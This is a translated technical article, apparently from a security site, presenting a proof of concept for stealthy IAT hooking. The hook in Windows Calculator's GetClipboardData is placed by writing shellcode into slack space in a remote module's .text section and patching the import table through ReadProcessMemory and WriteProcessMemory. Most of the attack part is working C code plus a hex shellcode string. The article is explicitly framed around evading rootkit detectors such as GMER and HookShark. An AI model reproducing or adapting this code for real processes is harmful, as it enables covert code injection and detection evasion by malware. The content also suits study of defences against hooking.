Analysis of a security implementation method of IAT Hooking
0 × 01 Introduction
The Hook import table (IAT hooking) is a well-documented technique used to intercept imported function calls. However, many methods depend on some suspicious API functions and leave some features that are easy to identify. This article explores an IAT hooking implementation method that can bypass the regular detection mechanism.
0 × 02 traditional implementation methods
IAT hooking is usually implemented through DLL injection. Inject a DLL containing the hooking code into the target process, and the DLL can access the memory of the target process. In this way, you can modify the IAT table item and point it to the handler function in the DLL. This is useful, but it is easy to detect. Using the above implementation method, the system will leave some traces of manual modification, such as the registry key or thread and the module in the memory. Furthermore, the address of the processing function points to the injection module rather than the original export function module.
These traces cannot well hide injection behavior. By verifying whether each item in the table points to an appropriate module (at least to the windwos system module), you can easily check whether the IAT table item is modified. Once identified, any malicious module can be easily extracted from the memory for further analysis.
0 × 03 A different implementation method
Without DLL injection, you can avoid many DLL injection traps. You can use OpenProcess, NtQueryInformationProcess, ReadProcessMemory, and WriteProcessMemory to interact with the target process. Although this requires more work, it has a high value of return.
1. There are few traces of manual modification (not writing DLLs on the hard disk, no DLLs in the memory, and no threads owned by other processes ).
2. rarely call functions that are considered suspicious (VirtualAllocEx and CreateRemoteThread, whose parameters include PROCESS_CREATE_THREAD's OpenProcess ).
3. The hook processing code is located in the. text Segment of the import module, so it is difficult to detect it.
Although this is long and error-prone, the implementation steps are simple and clear:
1. Open the process in the query-only mode and with the VM operation/read/write permission.
2. Call NtQueryInformationProcess to obtain the base address of the process environment block (PEB) of the external process.
3. Use the base address in peb and the ReadProcessMemory function to read the master image of an external process.
4. Use ReadProcesssMemory to find the target ILT/IAT table item.
5. Copy the processing functions in the hooking process to a memory segment and write the original import address to the predetermined location of the memory.
6. Use WriteProcessMemory to write the handler to The. text section of the appropriate import module in the external process.
7. Use WriteProcessMemory to update the import address.
Finally, IAT hooking is implemented and not found by GMER 1.0.15.15641 and HookShark 0.9. In the following POC, We will hook the Windows Calculator USER32.dll! GetClipboardData function.
0 × 04 locate the PEB of the Remote Process
The simplest method to locate the PEB of an external process is to call OpenProcess with the PROCESS_QUERY_LIMITED_INFORMATION permission, and then pass the Process Handle and ProcessBasicInformation (0) struct to the NtQueryInformationProcess function.
DWORD FindRemotePEB(HANDLE hProcess)
{
HMODULE hNTDLL = LoadLibraryA("ntdll");
if (!hNTDLL)
return 0;
FARPROC fpNtQueryInformationProcess = GetProcAddress
(
hNTDLL,
"NtQueryInformationProcess"
);
if (!fpNtQueryInformationProcess)
return 0;
NtQueryInformationProcess ntQueryInformationProcess =
(NtQueryInformationProcess)fpNtQueryInformationProcess;
PROCESS_BASIC_INFORMATION* pBasicInfo =
new PROCESS_BASIC_INFORMATION();
DWORD dwReturnLength = 0;
ntQueryInformationProcess
(
hProcess,
0,
pBasicInfo,
sizeof(PROCESS_BASIC_INFORMATION),
&dwReturnLength
);
return pBasicInfo->PebBaseAddress;
}
0 × 05 read the remote process image
Through the ImageBaseAddress member and ReadRemoteMemory function in PEB, we can read the image of the remote process.
PLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress)
{
BYTE* lpBuffer = new BYTE[BUFFER_SIZE];
BOOL bSuccess = ReadProcessMemory
(
hProcess,
lpImageBaseAddress,
lpBuffer,
BUFFER_SIZE,
0
);
if (!bSuccess)
return 0;
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)lpBuffer;
PLOADED_IMAGE pImage = new LOADED_IMAGE();
pImage->FileHeader =
(PIMAGE_NT_HEADERS32)(lpBuffer + pDOSHeader->e_lfanew);
pImage->NumberOfSections =
pImage->FileHeader->FileHeader.NumberOfSections;
pImage->Sections =
(PIMAGE_SECTION_HEADER)(lpBuffer + pDOSHeader->e_lfanew +
sizeof(IMAGE_NT_HEADERS32));
return pImage;
}
0 × 06 locate the import address of the Remote Process
After obtaining the remote image header, we will be able to find the user32.dll import descriptor table, and then use ReadProcessMemory to obtain ILT and IAT as we get the remote image.
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptors = ReadRemoteImportDescriptors
(
hProcess,
pPEB->ImageBaseAddress,
pImage->FileHeader->OptionalHeader.DataDirectory
);
[…]
IMAGE_IMPORT_DESCRIPTOR descriptor = pImportDescriptors[i];
char* pName = ReadRemoteDescriptorName
(
hProcess,
pPEB->ImageBaseAddress,
&descriptor
);
[…]
PIMAGE_THUNK_DATA32 pILT = ReadRemoteILT
(
hProcess,
pPEB->ImageBaseAddress,
&descriptor
);
[…]
PIMAGE_THUNK_DATA32 pIAT = ReadRemoteIAT
(
hProcess,
pPEB->ImageBaseAddress,
&descriptor
);
0 × 07 inject code and modify IAT
As described above, the location where the hook processing code is located may expose hooking behavior. The hook function is located in the. text section of the module for exporting the target function. The following functions help us find the appropriate remote import module by name.
PVOID FindRemoteImageBase(HANDLE hProcess, PPEB pPEB, char* pModuleName)
{
PPEB_LDR_DATA pLoaderData = ReadRemoteLoaderData(hProcess, pPEB);
PVOID firstFLink = pLoaderData->InLoadOrderModuleList.Flink;
PVOID fLink = pLoaderData->InLoadOrderModuleList.Flink;
PLDR_MODULE pModule = new LDR_MODULE();
do
{
BOOL bSuccess = ReadProcessMemory
(
hProcess,
fLink,
pModule,
sizeof(LDR_MODULE),
0
);
if (!bSuccess)
return 0;
PWSTR pwBaseDllName =
new WCHAR[pModule->BaseDllName.MaximumLength];
bSuccess = ReadProcessMemory
(
hProcess,
pModule->BaseDllName.Buffer,
pwBaseDllName,
pModule->BaseDllName.Length + 2,
0
);
if (bSuccess)
{
size_t sBaseDllName = pModule->BaseDllName.Length / 2 + 1;
char* pBaseDllName = new char[sBaseDllName];
WideCharToMultiByte
(
CP_ACP,
0,
pwBaseDllName,
pModule->BaseDllName.Length + 2,
pBaseDllName,
sBaseDllName,
0,
0
);
if (!_stricmp(pBaseDllName, pModuleName))
return pModule->BaseAddress;
}
fLink = pModule->InLoadOrderModuleList.Flink;
} while (pModule->InLoadOrderModuleList.Flink != firstFLink);
return 0;
}
Now we need to find a suitable place in the. text section to inject our code. Fortunately, the original size of the section. text must be a multiple of the file alignment size specified in the PE Optional header. Unless the actual size of the code can be divisible by the size of the file alignment, there will be enough space at the end of the. text section to allow us to inject a small segment of code.
The following code looks for an absolute address at the end of the. text section of the import module for the space where the injection code can be placed.
DWORD dwHandlerAddress = (DWORD)pImportImageBase +
pImportTextHeader->VirtualAddress +
pImportTextHeader->SizeOfRawData -
dwHandlerSize;
To ensure normal functionality, the code injected into the calculator must be location-independent. In this POC, I will use windows messagebox shellcode and make some modifications, including the start and end sections of the function and a jump to 0xDEADBEEF. Compile the code (handler. asm in the project) using the NASM assembler and convert it into a hexadecimal code in the form of a C string.
char* handler =
"\x55\x31\xdb\xeb\x55\x64\x8b\x7b"
"\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b"
"\x47\x08\x8b\x77\x20\x8b\x3f\x80"
"\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b"
"\x7a\x20\x01\xc7\x89\xdd\x8b\x34"
"\xaf\x01\xc6\x45\x8b\x4c\x24\x04"
"\x39\x0e\x75\xf2\x8b\x4c\x24\x08"
"\x39\x4e\x04\x75\xe9\x8b\x7a\x24"
"\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a"
"\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01"
"\xf8\xc3\x68\x4c\x69\x62\x72\x68"
"\x4c\x6f\x61\x64\xe8\x9c\xff\xff"
"\xff\x31\xc9\x66\xb9\x33\x32\x51"
"\x68\x75\x73\x65\x72\x54\xff\xd0"
"\x50\x68\x72\x6f\x63\x41\x68\x47"
"\x65\x74\x50\xe8\x7d\xff\xff\xff"
"\x59\x59\x59\x68\xf0\x86\x17\x04"
"\xc1\x2c\x24\x04\x68\x61\x67\x65"
"\x42\x68\x4d\x65\x73\x73\x54\x51"
"\xff\xd0\x53\x53\x53\x53\xff\xd0"
"\xb9\x07\x00\x00\x00\x58\xe2\xfd"
"\x5d\xb8\xef\xbe\xad\xde\xff\xe0";
Before injecting this processing function, replace 0xDEADBEEF with the address of the function to be linked. You can use this function by passing appropriate parameters to the following functions.
BOOL PatchDWORD(BYTE* pBuffer, DWORD dwBufferSize, DWORD dwOldValue,
DWORD dwNewValue)
{
for (int i = 0; i < dwBufferSize - 4; i++)
{
if (*(PDWORD)(pBuffer + i) == dwOldValue)
{
memcpy(pBuffer + i, &dwNewValue, 4);
return TRUE;
}
}
return FALSE;
}
Once the processing function is modified, it can be injected, and the modified import address points to this processing function.
// Write handler to .text section
bSuccess = WriteProcessMemory
(
hProcess,
(LPVOID)dwHandlerAddress,
pHandlerBuffer,
dwHandlerSize,
0
);
if (!bSuccess)
{
printf("Error writing process memory");
return FALSE;
}
printf("Handler address: 0x%p\r\n", dwHandlerAddress);
LPVOID pAddress = (LPVOID)((DWORD)pPEB->ImageBaseAddress +
descriptor.FirstThunk + (dwOffset * sizeof(IMAGE_THUNK_DATA32)));
// Write IAT
bSuccess = WriteProcessMemory
(
hProcess,
pAddress,
&dwHandlerAddress,
4,
0
);
if (!bSuccess)
{
printf("Error writing process memory");
return FALSE;
}
return TRUE;
It is very easy to hook a specific function with a function call. All we need is the ID, Module name, function name of the target process, processing code, and processing code size.
HookFunction
(
dwProcessId,
"user32.dll",
"GetClipboardData",
handler,
0x100
);
0 × 08 POC Test
Compile an executable program (download information can be found in the resource ). Make sure that a calculator is running before running it. To execute this program, the first process named calc.exe in hook.com will be tested. Confirm that no error has occurred. The output information after successful injection should be as follows:
Original import address: 0x762F715A
Handler address: 0x76318300
Press any key to continue . . .
To test the hook, you can use the paste function of the calculator. After the operation, a message box pops up. When the message box is closed, the calculator returns to normal.
0 × 09 conclusion
Despite a lot of work on hook detection, the IAT hooking described in this article confirms that rootkit detection programs can be circumvented by changing existing technologies. Applying the same method to different forms, such as EAT hooking or inline hooking, should also achieve the same improvement effect.
0 × 10 Resources
IAT Hooking Revisited Proof Of Concept Source
The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code
Microsoft PE and COFF Specification
Packet Storm